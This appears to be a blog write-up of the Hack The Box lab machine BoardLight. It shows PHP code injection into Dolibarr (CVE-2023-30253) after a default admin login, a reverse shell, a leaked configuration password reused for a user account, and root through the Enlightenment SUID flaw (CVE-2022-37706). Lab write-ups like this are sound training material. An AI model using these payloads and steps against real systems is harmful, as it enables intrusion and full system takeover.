HTB: BoardLight

| Vhost | Subdomain | Dolibarr | RCE | CVE-2023–30253 | PHP Code Injection | Configuration File | SUID | Enlightment | CVE-2022–37706 | Command Injection |

BoardLight

Enumeration

Nmap Scan

sudo nmap 10.129.66.220 -p- -sCV --open -Pn --min-rate=1000 -oN nmap-version

The Linux target had two open services on port 22(SSH) and port 80(HTTP).

HTTP Page

http://10.129.66.220

The HTTP page was about a cybersecurity consulting firm named BoardLight.

Vhost — Board

At the bottom of the web page, I found a vhost named Board.htb.

Hosts File — Vhost

cat /etc/hosts

The vhost board.htb was added to the /etc/hosts file for the proper DNS resolution.

Subdomain — CRM

ffuf -u http://board.htb -c -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.board.htb" -fs 15949

The subdomain of crm was found using FFuF.

Hosts File — Subdomain

cat /etc/hosts

The subdomain crm.board.htb was added to the /etc/hosts file along with the domain name board.htb.

Dolibarr

http://crm.board.htb

In the crm subdomain, Dolibarr 17.0.0 was running. Dolibarr ERP CRM is an open source software package that helps manage the organization’s activities (contacts, supplies, invoices, orders, stocks, agenda, etc.)

Dolibarr Login — Admin

By submitting the admin::admin credentials, I was greeted with the Admin Dashboard. However, only partial permission for the Dashboard was granted.

Initial Access : Dolibarr RCE

Dolibarr Vulnerability — CVE-2023–30253

The Dolibarr before 17.0.1 was vulnerable to RCE (Remote Code Execution) by an authenticate user via an uppercase manipulation <?PHP instead of <?php in the code injection payload.

NVD

PHP Code Injection — PoC

<?PHP echo 2+2; ?>

After creating a new Website and Page, I could edit the HTML source code. I injected the PoC payload between the <section> HTML tags and clicked the SAVE button.

Once the ‘Show dynamic content’ option was enabled, I could see the result 4 of 2+2. Consequently, the injected PHP code was successfully executed.

PHP Code Injection — ID

<?PHP system(id); ?>

The system command id was successfully executed, as well.

PHP Code Injection — Revere Shell

This time, I injected the PHP reverse shell by PentestMonkey, whose IP and port variables were modified appropriately.

php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell

Reverse Shell — www-data

nc -lnvp 443
whoami
id

By executing the payload, I got a reverse shell as www-data from the target.

Lateral Movement : www-data → Larissa

Shell Upgrade

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
[Ctrl] + Z
stty raw -echo; fg [Enter] [Enter]
export TERM=xterm

I upgraded the shell to a fully interactive one.

Configuration File

The Internet research revealed the name of configuration file conf/conf.php of Dolibarr in the system.

Find — conf.php

 find / -type f -name “conf.php” 2>/dev/null

The conf.php file was found at /var/www/html/crm.board.htb/htdocs/conf/conf.php.

Configuration File — Dolibarr

cat /var/www/html/crm.board.htb/htdocs/conf/conf.php

In the configuration file, I found some credentials.

SU — Larissa

su larissa
whoami
id

I could change the current user as larissa using the password of ‘serverfun2$2023!!’ from the conf.php file.

USER FLAG

cat user.txt
hostname

The user.txt flag was found on the target BoardLight.

Privilege Escalation : Larissa → Root

LinPEAS — SUID

The LinPEAS scan found some unknown SUID binaries that belongs to the Enlightenment program. The Enlightenment program is a window manager, compositor, and minimal Desktop for Linux (the primary platform), BSD, and any other compatible UNIX system.

Command Injection — Enlightenment

The Enlightenment window manager version 0.25.3–1 is vulnerable to privilege escalation (CVE-2022–37706).

The affected component is the SUID binary enlightment-sys, which contains a Command Injection by mishandling pathnames that begin with a /dev/.. substring that can lead to arbitrary command execution as root.

CVE-2022-37706-LPE-exploit/exploit.sh at main · MaherAzzouzi/CVE-2022-37706-LPE-exploit

Wget — exploit.sh

wget 10.10.14.37:8000/exploit.sh

The downloaded exploit code named exploit.sh from GitHub was transferred to the target machine.

Exploit Code — exploit.sh

The last line of the exploit code mounts a folder named “/dev/../tmp/;/tmp/exploit” to /tmp/net. Since the entlightentment_sys mishandles the pathnames that begin with /dev/.., the folder name loses the double quotes during the execution and it will be interpreted as two different commands of /dev/../tmp; and /tmp/exploit. Therefore, /tmp/exploit will be executed and spawn a shell as root thanks to the SUID permission for entlightentment_sys.

Root Shell

chmod +x exploit.sh
./exploit.sh

I got a root shell after executing the exploit.

ROOT FLAG

cat root.txt
hostname

The root.txt flag was found at the /root directory of target BoardLight.

Get bluesnow’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Thank you for reading my write-up!